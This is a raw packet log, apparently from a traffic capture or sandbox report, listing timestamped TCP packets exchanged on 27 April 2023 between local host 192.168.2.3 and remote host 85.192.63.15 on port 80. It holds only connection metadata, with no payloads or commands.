Apr 27, 2023 07:41:54.955810070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955838919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.955857992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955892086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.957329988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.957370996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.957410097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.957421064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.957462072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.957477093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.957525969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.957525969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.959439993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959475040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959511042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959629059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959661961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959698915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959737062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959744930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.959774971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959789991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.959834099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.959837914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.959870100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.959891081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960525036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960556984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960594893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960609913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960635900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960638046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960694075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960695028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960700035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960777998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960793972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960824966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960850000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960880041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960892916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960931063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.960936069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.960989952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962408066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962479115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962517023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962526083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962547064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962584019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962621927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962630987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962630987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962630987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962630987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962651968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962682962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962691069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962704897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962728024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962744951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962766886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962779999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962805033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962815046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962853909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.962871075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.962904930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.964593887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.964629889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.964669943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.964687109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.964696884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.964709044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.964728117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.964741945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.964764118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.964802027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967154980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967210054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967264891 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967278004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967292070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967304945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967319965 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967367887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967488050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967514992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967545986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967561007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967581034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967583895 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967601061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967613935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967637062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967638969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.967658997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.967694044 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.968400002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.968456984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.968470097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.968523979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.968580961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.968616962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.968646049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.968647957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.968672037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.968693018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972052097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972084045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972116947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972151041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972168922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972178936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972204924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972204924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972212076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972245932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972286940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972286940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972318888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972326040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972349882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.972373962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.972393036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.973738909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.973764896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.973813057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.973850965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.973885059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.973897934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.973897934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.973912954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.973931074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.973963022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.975517988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.975553989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.975585938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.975610018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.975619078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.975619078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.975636005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.975644112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.975666046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.975683928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.977905989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.977988005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.978033066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.978037119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.978061914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.978069067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.978100061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.978116035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982026100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982064962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982109070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982126951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982141018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982157946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982157946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982184887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982201099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982219934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982249022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982264996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982286930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982310057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982326031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982355118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982363939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982391119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.982412100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.982448101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.983740091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.983774900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.983820915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.983839035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.983865023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.983869076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.983869076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.983900070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.983921051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.983952999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.990407944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.990473986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.990519047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.990528107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.990551949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.990554094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.990570068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.990597010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.990605116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.990633011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.990650892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.990690947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.994448900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.994498968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.994538069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.994544983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.994561911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.994581938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.994616985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.994651079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002386093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002460957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002507925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002510071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002543926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002556086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002556086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002597094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002727032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002763033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002800941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002809048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002816916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002845049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002861977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002888918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002899885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002926111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.002942085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.002978086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.005719900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.005760908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.005806923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.005809069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.005856991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.005877972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.005877972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.005891085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.005913019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.005934000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.005937099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.005986929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.005989075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.006030083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.006036043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.006067038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.006079912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.006114960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.007441998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.007491112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.007530928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.007535934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.007531881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.007570028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.007587910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.007605076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.007622957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.007657051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.009206057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.009255886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.009294033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.009304047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.009315014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.009341955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.009356022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.009391069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.012485981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.012566090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.012600899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.012612104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.012619972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.012658119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.012664080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.012696028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.012710094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.012746096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.046638966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.046721935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.046813011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.046834946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.046834946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.046854019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.046910048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.046910048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.048208952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.048258066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.048306942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.048341990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.048355103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.048355103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.048355103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.048424006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.072231054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.072283983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.072349072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.072365046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.072392941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.072417021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.072417021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.072429895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.072438955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.072484016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.073997974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.074090004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.074091911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.074136019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.074142933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.074172974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.074187994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.074227095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.075769901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.075822115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.075865030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.075881958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.075913906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.075953960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.075968027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.076004028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.078970909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.079024076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.079063892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.079071045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.079085112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.079108953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.079123020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.079161882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.080840111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.080888987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.080935001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.080948114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.080949068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.080974102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.081000090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.081043959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.082395077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.082456112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.082463980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.082501888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:55.082510948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:55.082536936 CEST	80	49697	85.192.63.15	192.168.2.3
